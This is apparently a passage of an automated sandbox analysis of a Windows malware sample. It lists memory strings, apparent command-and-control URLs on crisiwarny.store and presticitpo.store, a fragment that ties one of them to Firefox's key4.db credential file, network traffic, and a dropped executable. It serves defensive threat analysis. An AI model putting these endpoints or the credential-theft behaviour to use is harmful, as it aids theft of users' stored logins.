Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520750781.0000000001949000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000003.1467370314.0000000001945000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441711833.00000000018B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454225148.00000000018D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000003.1490006976.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551775062.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640149483.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1629505347.000000000193D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505216928.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505536352.0000000001927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/_
Source: file.exe, 00000000.00000003.1454225148.00000000018D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/a
Source: file.exe, 00000000.00000002.1640014748.00000000018DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505423863.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.1441711833.00000000018B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api.
Source: file.exe, 00000000.00000003.1489492542.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiV4I
Source: file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apia5
Source: file.exe, 00000000.00000003.1454225148.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apig1
Source: file.exe, 00000000.00000003.1533360569.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551775062.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640149483.000000000193F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1629505347.000000000193D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/aping
Source: file.exe, 00000000.00000003.1505147294.0000000005F07000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505423863.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apipw
Source: file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apit
Source: file.exe, 00000000.00000003.1508838998.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505216928.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520566964.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520619731.000000000193C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508657954.0000000001937000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505536352.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1509016080.000000000193C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508552491.000000000192D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/fijngjgc
Source: file.exe, 00000000.00000003.1454190445.000000000192F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/h
Source: file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: file.exe, 00000000.00000003.1629265756.000000000189E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apiohrz.default-release/key4.dbPK
Source: file.exe, 00000000.00000003.1629265756.000000000189E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apitxtPK
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.1441711833.000000000189E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api
Source: file.exe, 00000000.00000003.1441711833.000000000189E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/apia
Source: file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1455058193.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1455158112.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454991065.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1509342214.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505165532.000000000194B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520750781.0000000001949000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: file.exe, 00000000.00000003.1491674254.0000000005F7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1491764264.000000000619E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49712 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name:
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Code function: 3_2_00E68CCC

3_2_00E68CCC

Source: file.exe, 00000000.00000003.1612852755.0000000006443000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1628577842.0000000005E8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595545730.0000000006320000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1604668536.0000000006401000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599872106.00000000063C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1628683173.0000000005F4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598686395.000000000631F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1596245669.000000000617C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615761433.0000000006458000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614895312.000000000644E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1604509412.0000000006321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602219535.000000000631C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1611452779.000000000631A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1596689015.0000000006319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1616288995.0000000006318000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1629505347.000000000193D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600135202.0000000006317000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1603054076.00000000063FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607477411.000000000641A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598377184.00000000063B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609933636.000000000631B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602756595.000000000631D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1596401658.0000000006316000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598493171.0000000006468000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605119263.00000000064DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602369090.00000000063F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599458071.00000000063CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605576607.0000000006316000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1606094892.000000000631F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1627516645.000000000631B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608055823.000000000641D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610292829.0000000006427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600842412.00000000063D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599206954.000000000631C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1628840769.0000000001923000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600725098.0000000006315000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602083631.00000000063F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1606626288.0000000006500000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597362547.0000000006313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601416859.0000000006315000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600968396.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615122532.0000000006590000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598916700.0000000006319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1606837391.0000000006315000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1604972509.00000000063FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607898341.0000000006319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595916696.0000000006318000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605421837.000000000640C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598795269.00000000063CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614277502.0000000006444000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1628840769.00000000018CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614481036.0000000006581000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615423110.0000000006316000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595299439.000000000617D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608286386.000000000652B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599701643.0000000006318000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595680195.0000000006175000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597655698.0000000006314000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609361393.000000000642D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600252762.00000000063DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600016709.0000000006476000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599074773.00000000063CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610982092.0000000006441000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599582544.000000000648D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610846036.0000000006320000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597890490.0000000006314000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598260321.0000000006317000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1613413991.0000000006320000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597255231.00000000063BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597764245.00000000063BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601789647.00000000064A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607333226.000000000631F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608996225.0000000006428000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601951427.0000000006319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610567393.000000000631C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1595167550.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601082168.0000000006316000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602542919.00000000064CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1604829304.000000000631F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1613901934.000000000644E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610703917.0000000006434000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607755745.0000000006413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597998669.00000000063BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1597092171.000000000631D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1596534294.0000000006172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607181112.00000000064FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605276673.000000000631C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612007683.0000000006437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610430901.000000000653B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612202194.0000000006561000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608677249.000000000642F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612408017.000000000631A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
